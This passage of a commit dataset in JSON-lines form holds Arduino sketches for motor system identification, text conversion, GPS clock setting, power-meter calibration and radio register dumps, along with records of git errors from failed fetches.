PARAMETERS###########\n\/\/###NO MODIFICATIONS NEEDED BELOW###\n\n\/\/######ENCODERS######\n\/\/Left Encoder\n#define c_LeftEncoderInterrupt 0\n#define c_LeftEncoderPinA 2\n#define c_LeftEncoderPinB 4\n#define LeftEncoderIsReversed\nvolatile bool _LeftEncoderBSet;\nvolatile long _LeftEncoderTicks = 0;\n\n\/\/Right Encoder\n#define c_RightEncoderInterrupt 1\n#define c_RightEncoderPinA 3\n#define c_RightEncoderPinB 5\nvolatile bool _RightEncoderBSet;\nvolatile long _RightEncoderTicks = 0;\n\nlong Prev_LeftEncoderTicks;\nlong Prev_RightEncoderTicks;\n\n\/\/######MOTORS#########\n\/\/Left Motor\nconst int REVERSE_LEFT = 11;\nconst int FORWARD_LEFT = 10;\n\n\/\/Right Motor\nconst int REVERSE_RIGHT = 9;\nconst int FORWARD_RIGHT = 8;\n\n\/*\n * Drives the execution of the system ID routine. Initializes the pins to be used. Generates\n * the arrays of voltage commands (magnitude & duration). Determines the total runtime based\n * on the generated command durations. Performs the system ID test. Outputs a summary of the \n * parameters of the test as well as the velocity results.\n *\/\nvoid setup(){\n Serial.begin(9600);\n long runtime;\n int velsSize;\n \n initializePins();\n \n Prev_RightEncoderTicks = _RightEncoderTicks;\n Prev_LeftEncoderTicks = _LeftEncoderTicks;\n \n int leftVolComs[TOTAL_VOL_COMS];\n int rightVolComs[TOTAL_VOL_COMS];\n unsigned long volComTimes[TOTAL_VOL_COMS];\n generateCommandArrays(leftVolComs, rightVolComs, volComTimes);\n \n runtime = determineRuntime(volComTimes); \n velsSize = runtime \/ VELOCITY_INTERVAL;\n int leftVels[velsSize];\n int rightVels[velsSize];\n int velsTimes[velsSize];\n int leftVelsCommands[velsSize];\n int rightVelsCommands[velsSize];\n \n performTest(runtime, velsSize, leftVels, rightVels, velsTimes, leftVelsCommands,\n rightVelsCommands, leftVolComs, rightVolComs, volComTimes);\n outputSummary(runtime, leftVolComs, rightVolComs, volComTimes);\n outputResults(velsSize, leftVels, rightVels, velsTimes, leftVelsCommands, rightVelsCommands);\n}\n\n\/*\n * Intentionally left empty. Robot simply idles upon completion of setup routine.\n *\/\nvoid loop(){\n}\n\n\/*\n * Sets up encoder pins and attaches interrupts. Sets all motor pins to output mode.\n *\/\nvoid initializePins(){\n \/\/Left Encoder\n pinMode(c_LeftEncoderPinA, INPUT); \/\/sets pin A as input\n digitalWrite(c_LeftEncoderPinA, LOW); \/\/turns on pullup resistors\n pinMode(c_LeftEncoderPinB, INPUT); \/\/sets pin B as input\n digitalWrite(c_LeftEncoderPinB, LOW); \/\/turns on pullup resistors\n attachInterrupt(c_LeftEncoderInterrupt, HandleLeftMotorInterruptA, RISING);\n \n \/\/Right Encoder\n pinMode(c_RightEncoderPinA, INPUT); \/\/sets pin A as input\n digitalWrite(c_RightEncoderPinA, LOW); \/\/turns on pullup resistors\n pinMode(c_RightEncoderPinB, INPUT); \/\/sets pin B as input\n digitalWrite(c_RightEncoderPinB, LOW); \/\/turns on pullupresistors\n attachInterrupt(c_RightEncoderInterrupt, HandleRightMotorInterruptA, RISING);\n \n \/\/Motors\n pinMode(FORWARD_RIGHT, OUTPUT);\n pinMode(FORWARD_LEFT, OUTPUT);\n pinMode(REVERSE_RIGHT, OUTPUT);\n pinMode(REVERSE_LEFT, OUTPUT);\n}\n\n\/*\n * Randomly generates the lists of command magnitudes and durations based\n * on the user's desired parameters of the minimum and maximum command times\n * as well as the command time resolution. If identical command lists are \n * desired repeatedly for test purposes, comment out the fist line that seeds\n * the random number generator.\n *\/\nvoid generateCommandArrays(int leftVolComs[], int rightVolComs[], unsigned long volComTimes[]){\n randomSeed(analogRead(0));\n unsigned long min;\n unsigned long max; \n \n for(int i = 0; i < TOTAL_VOL_COMS; i++){\n leftVolComs[i] = random(256);\n rightVolComs[i] = random(256);\n delay(5);\n min = MIN_COM_DUR \/ COM_DUR_RESOLUTION;\n max = MAX_COM_DUR \/ COM_DUR_RESOLUTION;\n volComTimes[i] = COM_DUR_RESOLUTION * random(min, max);\n }\n}\n\n\/*\n * Determines the total runtime of the test, calculated as the sum of \n * the voltage command durations.\n *\/\nlong determineRuntime(unsigned long volComTimes[]){\n unsigned long runtime = 0;\n \n for(int i = 0; i < TOTAL_VOL_COMS; i++) {\n runtime += volComTimes[i];\n }\n \n runtime += (VELOCITY_INTERVAL - runtime % VELOCITY_INTERVAL);\n \n return runtime;\n}\n\n\/*\n * Measures repeated step responses on the motors being tested. Each time the main loop iterates, the\n * function checks to see if the current time dictates that a measurement should be taken or a new \n * command should be executed.\n *\n * Note: An unresolved issue remains with utilizing the millis timing. This code is written under the \n * assumption that the main while loop iterates many times each millisecond. Microsecond timing tests\n * showed that it executed in approximately 50-100 us, which supports this assumption. However, repeated\n * tests of the code also showed that the while loop appears to \"skip over\" certain millisecond times.\n * For example, if voltage command or velocity measurement is supposed to be sent or taken at a time\n * 80 ms after the base time, the loop skips over that time and does not take the appropriate action.\n * As a result, a command or measurement may be delayed by up to a millisecond. This is reported in the\n * final results that are output to the user, so it is not terribly significant. However, this is an\n * issue to be explored.\n *\/\nvoid performTest(const unsigned long RUNTIME, const int VELS_SIZE, int leftVels[], int rightVels[], \n int velsTimes[], int leftVelsCommands[], int rightVelsCommands[], \n const int LEFT_VOL_COMS[], const int RIGHT_VOL_COMS[], const unsigned long VOL_COM_TIMES[]){\n int velsIndex = 0;\n int volComsIndex = 0;\n boolean commandNow = false;\n boolean measureNow = false;\n \n const unsigned long BASE_TIME = millis();\n unsigned long currentTime = BASE_TIME;\n unsigned long lastCommandTime = currentTime;\n unsigned long lastMeasureTime = currentTime;\n \n analogWrite(LEFT_TEST_PIN, LEFT_VOL_COMS[volComsIndex]);\n analogWrite(RIGHT_TEST_PIN, RIGHT_VOL_COMS[volComsIndex]);\n \n while(currentTime - BASE_TIME < RUNTIME){\n currentTime = millis();\n commandNow = (currentTime - lastCommandTime >= VOL_COM_TIMES[volComsIndex] && lastCommandTime != currentTime);\n measureNow = (currentTime - lastMeasureTime >= VELOCITY_INTERVAL && lastMeasureTime != currentTime);\n \n if(commandNow || measureNow){\n if(commandNow){\n analogWrite(LEFT_TEST_PIN, LEFT_VOL_COMS[++volComsIndex]);\n analogWrite(RIGHT_TEST_PIN, RIGHT_VOL_COMS[volComsIndex]);\n lastCommandTime = currentTime;\n }\n \n if(measureNow){\n leftVels[velsIndex] = _LeftEncoderTicks - Prev_LeftEncoderTicks;\n Prev_LeftEncoderTicks = _LeftEncoderTicks;\n \n rightVels[velsIndex] = _RightEncoderTicks - Prev_RightEncoderTicks;\n Prev_RightEncoderTicks = _RightEncoderTicks;\n \n lastMeasureTime = currentTime;\n velsTimes[velsIndex] = currentTime - BASE_TIME;\n leftVelsCommands[velsIndex] = LEFT_VOL_COMS[volComsIndex];\n rightVelsCommands[velsIndex++] = RIGHT_VOL_COMS[volComsIndex];\n }\n }\n }\n \n digitalWrite(LEFT_TEST_PIN, LOW);\n digitalWrite(RIGHT_TEST_PIN, LOW);\n}\n\n\/*\n * Outputs a summary of the test, including the user-selected parameters and the generated lists \n * of voltage command magnitudes and durations.\n *\/\nvoid outputSummary(const long RUNTIME, const int LEFT_VOL_COMS[], const int RIGHT_VOL_COMS[], \n const unsigned long VOL_COM_TIMES[]){\n Serial.println(\"System ID Summary\");\n delay(20);\n Serial.print(\"Left motor tested: \");\n delay(20);\n Serial.println(getLeftPinName());\n delay(20);\n Serial.print(\"Right motor tested: \");\n delay(20);\n Serial.println(getRightPinName());\n delay(20);\n Serial.print(\"Total commands executed: \");\n delay(20);\n Serial.println(TOTAL_VOL_COMS);\n delay(20);\n Serial.print(\"Total run time: \");\n delay(20);\n Serial.println(RUNTIME);\n delay(20);\n Serial.print(\"Velocity interval: \");\n delay(20);\n Serial.println(VELOCITY_INTERVAL);\n delay(20);\n Serial.println(\"\\n\\nVoltage Commands\");\n delay(20);\n Serial.println(\"Magnitude (L) Magnitude (R) Duration\");\n delay(40);\n \n for(int i = 0; i < TOTAL_VOL_COMS; i++){\n Serial.print(LEFT_VOL_COMS[i]);\n delay(5);\n Serial.print(\" \");\n delay(5);\n Serial.print(RIGHT_VOL_COMS[i]);\n delay(5);\n Serial.print(\" \");\n delay(5);\n Serial.println(VOL_COM_TIMES[i]);\n delay(5);\n }\n \n Serial.println(\"End Summary\");\n}\n\n\/*\n * Returns the name of the left pin being tested as a string.\n *\/\nString getLeftPinName() {\n switch(LEFT_TEST_PIN) {\n case FORWARD_LEFT:\n return \"Forward Left\";\n case REVERSE_LEFT:\n return \"Reverse Left\";\n }\n}\n\n\/*\n * Returns the name of the right pin being tested as a string.\n *\/\nString getRightPinName() {\n switch(RIGHT_TEST_PIN) {\n case FORWARD_RIGHT:\n return \"Forward Right\";\n case REVERSE_RIGHT:\n return \"Reverse Right\";\n }\n}\n\n\/*\n * Outputs the results of the measurements, including the time of the measurements and the index of the voltage\n * command being executed during that measurement.\n *\/\nvoid outputResults(const int VELS_SIZE, const int LEFT_VELS[], const int RIGHT_VELS[], \n const int VELS_TIMES[], const int LEFT_VELS_COMMANDS[], const int RIGHT_VELS_COMMANDS[]){ \n Serial.println(\"\\n\\nVelocity Measurements\");\n delay(20);\n Serial.print(\"Elapsed Time \");\n delay(20);\n Serial.print(\"Command (L) \");\n delay(20);\n Serial.print(\"Velocity (L) \");\n delay(20);\n Serial.print(\"Command (R) \");\n delay(20);\n Serial.println(\"Velocity (R) \");\n delay(20);\n \n for(int i = 0; i < VELS_SIZE; i++){\n Serial.print(VELS_TIMES[i]);\n delay(5);\n Serial.print(\" \");\n delay(5);\n Serial.print(LEFT_VELS_COMMANDS[i]);\n delay(5);\n Serial.print(\" \");\n delay(5);\n Serial.print(LEFT_VELS[i]);\n delay(5);\n Serial.print(\" \");\n delay(5);\n Serial.print(RIGHT_VELS_COMMANDS[i]);\n delay(5);\n Serial.print(\" \");\n delay(5);\n Serial.println(RIGHT_VELS[i]);\n delay(5);\n }\n \n Serial.println(\"End Measurements\");\n}\n\n\/\/ DO NOT MODIFY BELOW THIS POINT\n\/\/############ ENCODER INTERRUPTS ################\n\/\/ Interrupt service routines for the left motor's quadrature encoder \nvoid HandleLeftMotorInterruptA() {\n \/\/ Test transition; since the interrupt will only fire on 'rising' we don't need to read pin A \n _LeftEncoderBSet = digitalReadFast(c_LeftEncoderPinB); \/\/ read the input pin \n\n \/\/ and adjust counter + if A leads B \n#ifdef LeftEncoderIsReversed \n _LeftEncoderTicks -= _LeftEncoderBSet ? -1 : +1; \n#else \n _LeftEncoderTicks += _LeftEncoderBSet ? -1 : +1; \n#endif \n} \n\n\/\/ Interrupt service routines for the right motor's quadrature encoder \nvoid HandleRightMotorInterruptA() {\n \/\/ Test transition; since the interrupt will only fire on 'rising' we don't need to read pin A \n _RightEncoderBSet = digitalReadFast(c_RightEncoderPinB); \/\/ read the input pin \n\n \/\/ and adjust counter + if A leads B \n#ifdef RightEncoderIsReversed \n _RightEncoderTicks -= _RightEncoderBSet ? -1 : +1; \n#else \n _RightEncoderTicks += _RightEncoderBSet ? -1 : +1; \n#endif\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Embedded-Arduino\/Testing\/SystemID\/Dual_Wheel_System_ID\/Dual_Wheel_System_ID.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"948f51035e7fbdf92baa40d9a02ede8fa2a50fd3","subject":"Ball picker time and pins changed","message":"Ball picker time and pins changed\n","repos":"auvnitrkl\/tiburon-3.0","old_file":"hardware_stack\/hammerhead_arduino\/NUC_nano\/NUC_nano.ino","new_file":"hardware_stack\/hammerhead_arduino\/NUC_nano\/NUC_nano.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/auvnitrkl\/tiburon-3.0.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ccc3ead099d2dfc1d7d11974dd2e2641832c086d","subject":"\u30d5\u30a1\u30a4\u30eb\u4fdd\u6301\u6a5f\u80fd\u306e\u8ffd\u52a0\u3068\u30ab\u30bf\u30ab\u30ca\u8868\u793a\u6a5f\u80fd\u8ffd\u52a0","message":"\u30d5\u30a1\u30a4\u30eb\u4fdd\u6301\u6a5f\u80fd\u306e\u8ffd\u52a0\u3068\u30ab\u30bf\u30ab\u30ca\u8868\u793a\u6a5f\u80fd\u8ffd\u52a0\n","repos":"bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp,bokunimowakaru\/esp","old_file":"2_example\/example28_lcdkey\/utf_del_uni.ino","new_file":"2_example\/example28_lcdkey\/utf_del_uni.ino","new_contents":"\/*********************************************************************\r\n\u672c\u30bd\u30fc\u30b9\u30ea\u30b9\u30c8\u304a\u3088\u3073\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306f\u3001\u30e9\u30a4\u30bb\u30f3\u30b9\u30d5\u30ea\u30fc\u3067\u3059\u3002(\u8a73\u7d30\u306f\u5225\u8a18)\r\n\u5229\u7528\u3001\u7de8\u96c6\u3001\u518d\u914d\u5e03\u7b49\u304c\u81ea\u7531\u306b\u884c\u3048\u307e\u3059\u304c\u3001\u8457\u4f5c\u6a29\u8868\u793a\u306e\u6539\u5909\u306f\u7981\u6b62\u3057\u307e\u3059\u3002\r\n\r\nUTF8\u3092ASCII\u30ab\u30ca\u6587\u5b57\u3078\u5909\u63db\u3059\u308b\r\n\r\n Copyright (c) 2014-2017 Wataru KUNINO\r\n http:\/\/www.geocities.jp\/bokunimowakaru\/\r\n*********************************************************************\/\r\n\r\n\r\nvoid utf_del_uni(char *s){\r\n\tbyte i=0;\r\n\tbyte j=0;\r\n\twhile(s[i]!='\\0'){\r\n\t\tif((byte)s[i]==0xEF){\r\n\t\t\tif((byte)s[i+1]==0xBE) s[i+2] += 0x40;\r\n\t\t\ti+=2;\r\n\t\t}\r\n\t\tif(isprint(s[i])){\r\n\t\t\ts[j]=s[i];\r\n\t\t\tj++;\r\n\t\t}\r\n\t\ti++;\r\n\t}\r\n\ts[j]='\\0';\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec '2_example\/example28_lcdkey\/utf_del_uni.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f7262f7c21fe47b311953507fb2f06686e67a22e","subject":"Adjusted Arduino code to interpret received data as motor and servo setpoints","message":"Adjusted Arduino code to interpret received data as motor and servo setpoints\n","repos":"MPC-Berkeley\/barc,BARCproject\/barc,BARCproject\/barc,MPC-Berkeley\/barc,MPC-Berkeley\/barc,BARCproject\/barc,BARCproject\/barc,MPC-Berkeley\/barc,BARCproject\/barc,MPC-Berkeley\/barc,MPC-Berkeley\/barc,BARCproject\/barc,BARCproject\/barc,MPC-Berkeley\/barc","old_file":"ArduinoSerialInterface\/ArduinoPythonInterfacer\/ArduinoPythonInterfacer.ino","new_file":"ArduinoSerialInterface\/ArduinoPythonInterfacer\/ArduinoPythonInterfacer.ino","new_contents":"#include <Servo.h>;\n\n\n\nvolatile int count = 0; \/\/number of encoder counts (using a quadrature encoder)\n\n\/\/encoder pins: pins 2,3 are hardware interrupts\nconst int encoderA = 2; \nconst int encoderB = 3;\n\n\/\/actuator pins: pins 3,5,6,9,10,11 are capable of hardware pwm\nServo motor;\nServo steering;\nconst int motorPin = 5;\nconst int servoPin = 6;\n\n\/\/end flag and delimiter used to parse incoming serial message of setpoints, etc.\n\/\/Your message should be of the form: \"XXX,YYY,ZZZ,etc.f\". Note that there are no spaces.\nchar flag = 'f';\nchar delim[2] = \",\";\n\nvolatile unsigned long curr_time;\nvolatile unsigned long temp;\nchar *parser;\nfloat setPoint[3];\nchar readIn[16];\nint i;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n pinMode(encoderA, INPUT);\n pinMode(encoderB, INPUT);\n motor.attach(motorPin);\n steering.attach(servoPin);\n \n attachInterrupt(digitalPinToInterrupt(encoderA), inc, CHANGE);\n attachInterrupt(digitalPinToInterrupt(encoderB), inc, CHANGE);\n curr_time = millis();\n Serial.begin(250000);\n Serial.println(\"Running\");\n \n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n temp = millis()-curr_time;\n if (temp > 2) {\n Serial.println(count\/temp * 1000); \/\/prints velocity out to the serial port\n count = 0;\n curr_time = millis();\n }\n\n\n \/\/parses any available incoming data. Use atof() to convert the characters to floats (for math manipulation)\n temp = Serial.available();\n if (temp > 0) {\n i = 0;\n Serial.readBytesUntil(flag, readIn, 8);\n parser = strtok(readIn, delim);\n while (parser != NULL) {\n \/\/Serial.println(atof(parser) + 2);\n setPoint[i] = atof(parser);\n i++;\n parser = strtok(NULL, delim);\n }\n\n motor.write(saturate(setPoint[0]));\n steering.write(saturate(setPoint[1]));\n }\n \n delay(1);\n}\n\nvoid inc() {\n count++;\n}\n\nfloat saturate(float value) {\n if (value>180) {\n value = 180; \n } else if (value<0) {\n value = 0;\n }\n return value;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoSerialInterface\/ArduinoPythonInterfacer\/ArduinoPythonInterfacer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"531f23d3126c4eff429bf3bf678964609f13e332","subject":"Test works without noise","message":"Test works without noise\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/pwm_detector_test\/pwm_detector_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9f77e0ee42589919832331b4bdc7935c258b5718","subject":"just changed the version number","message":"just changed the version number\n","repos":"TEAMarg\/ID-40-VIRUS-LQP-79,TEAMarg\/ID-40-VIRUS-LQP-79","old_file":"VLQP_AB\/VLQP_AB.ino","new_file":"VLQP_AB\/VLQP_AB.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TEAMarg\/ID-40-VIRUS-LQP-79.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c4f8f82383615901e6c85598d90c746e84c376ae","subject":"Delete 20150909-TestNeckMotionController2~Delivered Code to Customer.ino","message":"Delete 20150909-TestNeckMotionController2~Delivered Code to Customer.ino","repos":"ManibalaSinha\/Arduino,ManibalaSinha\/Arduino","old_file":"20150909-TestNeckMotionController2~Delivered Code to Customer.ino","new_file":"20150909-TestNeckMotionController2~Delivered Code to Customer.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec '20150909-TestNeckMotionController2~Delivered' did not match any file(s) known to git\nerror: pathspec 'Code' did not match any file(s) known to git\nerror: pathspec 'to' did not match any file(s) known to git\nerror: pathspec 'Customer.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"0650d1824b1b211a5d2308084810d59e1cceecb0","subject":"code for setting the rtc from gps","message":"code for setting the rtc from gps\n","repos":"rayjanwilson\/wind-estimator","old_file":"set-rtc\/set-rtc.ino","new_file":"set-rtc\/set-rtc.ino","new_contents":"#include <Wire.h>\n#include \"RTClib.h\"\n#include <Adafruit_GPS.h>\n#include <SoftwareSerial.h>\n\nRTC_DS1307 rtc;\n\nSoftwareSerial mySerial(3, 2);\nAdafruit_GPS GPS(&mySerial);\n\n\/\/ Set GPSECHO to 'false' to turn off echoing the GPS data to the Serial console\n\/\/ Set to 'true' if you want to debug and listen to the raw GPS sentences. \n#define GPSECHO false\n\n\/\/ this keeps track of whether we're using the interrupt\n\/\/ off by default!\nboolean usingInterrupt = false;\nvoid useInterrupt(boolean); \/\/ Func prototype keeps Arduino 0023 happy\n\n\nvoid setup() {\n Serial.begin(115200);\n Wire.begin();\n rtc.begin();\n\n if (! rtc.isrunning()) {\n Serial.println(\"RTC is NOT running!\");\n \/\/ following line sets the RTC to the date & time this sketch was compiled\n \/\/rtc.adjust(DateTime(F(__DATE__), F(__TIME__)));\n \/\/ This line sets the RTC with an explicit date & time, for example to set\n \/\/ January 21, 2014 at 3am you would call:\n \/\/ rtc.adjust(DateTime(2014, 1, 21, 3, 0, 0));\n }\n \/\/ 9600 NMEA is the default baud rate for Adafruit MTK GPS's- some use 4800\n GPS.begin(9600);\n \n \/\/ uncomment this line to turn on RMC (recommended minimum) and GGA (fix data) including altitude\n GPS.sendCommand(PMTK_SET_NMEA_OUTPUT_RMCGGA);\n \/\/ uncomment this line to turn on only the \"minimum recommended\" data\n \/\/GPS.sendCommand(PMTK_SET_NMEA_OUTPUT_RMCONLY);\n \/\/ For parsing data, we don't suggest using anything but either RMC only or RMC+GGA since\n \/\/ the parser doesn't care about other sentences at this time\n \n \/\/ Set the update rate\n GPS.sendCommand(PMTK_SET_NMEA_UPDATE_1HZ); \/\/ 1 Hz update rate\n \/\/ For the parsing code to work nicely and have time to sort thru the data, and\n \/\/ print it out we don't suggest using anything higher than 1 Hz\n\n \/\/ Request updates on antenna status, comment out to keep quiet\n GPS.sendCommand(PGCMD_ANTENNA);\n\n \/\/ the nice thing about this code is you can have a timer0 interrupt go off\n \/\/ every 1 millisecond, and read data from the GPS for you. that makes the\n \/\/ loop code a heck of a lot easier!\n useInterrupt(true);\n\n delay(1000);\n \/\/ Ask for firmware version\n mySerial.println(PMTK_Q_RELEASE);\n}\n\n\/\/ Interrupt is called once a millisecond, looks for any new GPS data, and stores it\nSIGNAL(TIMER0_COMPA_vect) {\n char c = GPS.read();\n \/\/ if you want to debug, this is a good time to do it!\n#ifdef UDR0\n if (GPSECHO)\n if (c) UDR0 = c; \n \/\/ writing direct to UDR0 is much much faster than Serial.print \n \/\/ but only one character can be written at a time. \n#endif\n}\n\nvoid useInterrupt(boolean v) {\n if (v) {\n \/\/ Timer0 is already used for millis() - we'll just interrupt somewhere\n \/\/ in the middle and call the \"Compare A\" function above\n OCR0A = 0xAF;\n TIMSK0 |= _BV(OCIE0A);\n usingInterrupt = true;\n } else {\n \/\/ do not call the interrupt function COMPA anymore\n TIMSK0 &= ~_BV(OCIE0A);\n usingInterrupt = false;\n }\n}\n\nuint32_t timer = millis();\n\nvoid loop() {\n\n \/\/ This line sets the RTC with an explicit date & time, for example to set\n \/\/ January 21, 2014 at 3am you would call:\n \/\/ rtc.adjust(DateTime(2014, 1, 21, 3, 0, 0));\n \/\/ in case you are not using the interrupt above, you'll\n \/\/ need to 'hand query' the GPS, not suggested :(\n if (! usingInterrupt) {\n \/\/ read data from the GPS in the 'main loop'\n char c = GPS.read();\n \/\/ if you want to debug, this is a good time to do it!\n if (GPSECHO)\n if (c) Serial.print(c);\n }\n \n \/\/ if a sentence is received, we can check the checksum, parse it...\n if (GPS.newNMEAreceived()) {\n \/\/ a tricky thing here is if we print the NMEA sentence, or data\n \/\/ we end up not listening and catching other sentences! \n \/\/ so be very wary if using OUTPUT_ALLDATA and trytng to print out data\n \/\/Serial.println(GPS.lastNMEA()); \/\/ this also sets the newNMEAreceived() flag to false\n \n if (!GPS.parse(GPS.lastNMEA())) \/\/ this also sets the newNMEAreceived() flag to false\n return; \/\/ we can fail to parse a sentence in which case we should just wait for another\n }\n\n \/\/ if millis() or timer wraps around, we'll just reset it\n if (timer > millis()) timer = millis();\n\n \/\/ approximately every 1 seconds or so, print out the current stats\n if (millis() - timer > 1000) { \n timer = millis(); \/\/ reset the timer\n DateTime now = rtc.now();\n Serial.print(\"RTC: \");\n Serial.print(now.year(), DEC);\n Serial.print('\/');\n Serial.print(now.month(), DEC);\n Serial.print('\/');\n Serial.print(now.day(), DEC);\n Serial.print(' ');\n Serial.print(now.hour(), DEC);\n Serial.print(':');\n Serial.print(now.minute(), DEC);\n Serial.print(':');\n Serial.print(now.second(), DEC);\n Serial.println();\n \n Serial.print(\"GPS: \");\n Serial.print(\"20\");\n Serial.print(GPS.year, DEC); Serial.print('\/');\n Serial.print(GPS.month, DEC); Serial.print('\/');\n Serial.print(GPS.day, DEC);\n Serial.print(' ');\n Serial.print(GPS.hour, DEC); Serial.print(':');\n Serial.print(GPS.minute, DEC); Serial.print(':');\n Serial.print(GPS.seconds, DEC); Serial.print('.');\n Serial.println(GPS.milliseconds);\n\n Serial.print(\"Fix: \"); Serial.print((int)GPS.fix);\n Serial.print(\" quality: \"); Serial.println((int)GPS.fixquality);\n Serial.println(\" \");\n if (GPS.fix) {\n if(GPS.seconds != now.second()){ \n rtc.adjust(DateTime(2000+GPS.year, GPS.month, GPS.day, GPS.hour, GPS.minute, GPS.seconds));\n }\n Serial.print(\"Location: \");\n Serial.print(GPS.latitude, 4); Serial.print(GPS.lat);\n Serial.print(\", \"); \n Serial.print(GPS.longitude, 4); Serial.println(GPS.lon);\n Serial.print(\"Location (in degrees, works with Google Maps): \");\n Serial.print(GPS.latitudeDegrees, 4);\n Serial.print(\", \"); \n Serial.println(GPS.longitudeDegrees, 4);\n \n Serial.print(\"Speed (knots): \"); Serial.println(GPS.speed);\n Serial.print(\"Angle: \"); Serial.println(GPS.angle);\n Serial.print(\"Altitude: \"); Serial.println(GPS.altitude);\n Serial.print(\"Satellites: \"); Serial.println((int)GPS.satellites);\n Serial.println(\" \");\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'set-rtc\/set-rtc.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9aba36ce4d37fb72c446addf5f355cdb2bce17df","subject":"Add On Chip Calibration example","message":"Add On Chip Calibration example\n","repos":"tiagolobao\/CS5490","old_file":"examples\/On_Chip_Calibration\/On_Chip_Calibration.ino","new_file":"examples\/On_Chip_Calibration\/On_Chip_Calibration.ino","new_contents":"\n#include<CS5490.h>\n\n#define rx 11\n#define tx 12\n\n\/* Choose your board *\/\n\n\/* Arduino UNO and ESP8622 *\/\nCS5490 line(MCLK_default,rx,tx);\n\n\/* ESP and MEGA (Uses Serial2)*\/\n\/\/CS5490 line(MCLK_default);\n\n\nvoid setup() {\n \/\/Initializing communication with CS5490\n \/\/600 is the default baud rate velocity.\n line.begin(600);\n \/\/Initializing communication arduino\/PC to show results in Monitor Serial\n Serial.begin(115200);\n \/\/ wait for serial port to connect. Needed for Leonardo only\n while (!Serial);\n \/\/Set to continous conversion\n line.contConv();\n delay(100);\n}\n\nvoid loop() {\n\n double foo;\n\n Serial.println(\"\\n\\nWithout calibration\");\n line.setDcOffsetI(0); \/\/Reset previous calibration\n foo = line.getInstI();\n Serial.print(\"DC current value: \");\n Serial.println(foo, 5);\n foo = line.getDcOffsetI();\n Serial.print(\"DC offset current value: \");\n Serial.println(foo, 5);\n\n \/*\n -------->Types\n DCoffset\n ACoffset\n Gain\n -------->Channels\n Current\n Voltage\n CurrentAndVoltage\n -------->How to use?\n line.calibrate(type,channel)\n *\/\n line.calibrate(DCoffset,Current);\n\n Serial.println(\"\\n\\nCalibrated\");\n foo = line.getInstI();\n Serial.print(\"DC current value: \");\n Serial.println(foo, 5);\n foo = line.getDcOffsetI();\n Serial.print(\"DC offset current value: \");\n Serial.println(foo, 5);\n\n Serial.println(\"\\nReset arduino to see it again... \");\n while(1);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/On_Chip_Calibration\/On_Chip_Calibration.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dccd223fcb86ffec6ea47175d4c8dce741ac3f97","subject":"Arduino example of setting & reading registers on the RFM95","message":"Arduino example of setting & reading registers on the RFM95\n","repos":"theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar","old_file":"Mk2\/experiments\/rfm95_registers_example\/rfm95_registers_example.ino","new_file":"Mk2\/experiments\/rfm95_registers_example\/rfm95_registers_example.ino","new_contents":"\n\n#include <SPI.h>\n\n\n#include <RH_RF95.h>\n\n\n#define RFM95_CS 10\n\/\/#define RFM95_RST 2\n#define RFM95_INT 3\n\n#define RF95_FREQ 868.0\n\n\n\/\/ Singleton instance of the radio driver\nRH_RF95 rf95(RFM95_CS, RFM95_INT);\n\n\n\nvoid setup() {\n Serial.begin(115200);\n\n delay(100);\n\n while (!rf95.init()) {\n Serial.println(\"init failed\");\n while (1);\n }\n Serial.println(\"init OK\");\n\n if (!rf95.setFrequency(RF95_FREQ)) {\n Serial.println(\"setFrequency failed\");\n while (1);\n }\n\n rf95.setModemConfig(RH_RF95::Bw500Cr45Sf128);\n rf95.setTxPower(10, false);\n\n}\n\nvoid loop() {\n\n rf95.setModeIdle();\n delay(100);\n\n rf95.printRegisters();\n\n \/\/rf95.sleep();\n delay(1000); \n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Mk2\/experiments\/rfm95_registers_example\/rfm95_registers_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4411251d5751feeedb627f4e9279e7ece11b15ff","subject":"Add Joysticks-128x64-Graphic.","message":"Add Joysticks-128x64-Graphic.\n\nDisplay the joystick positions on two 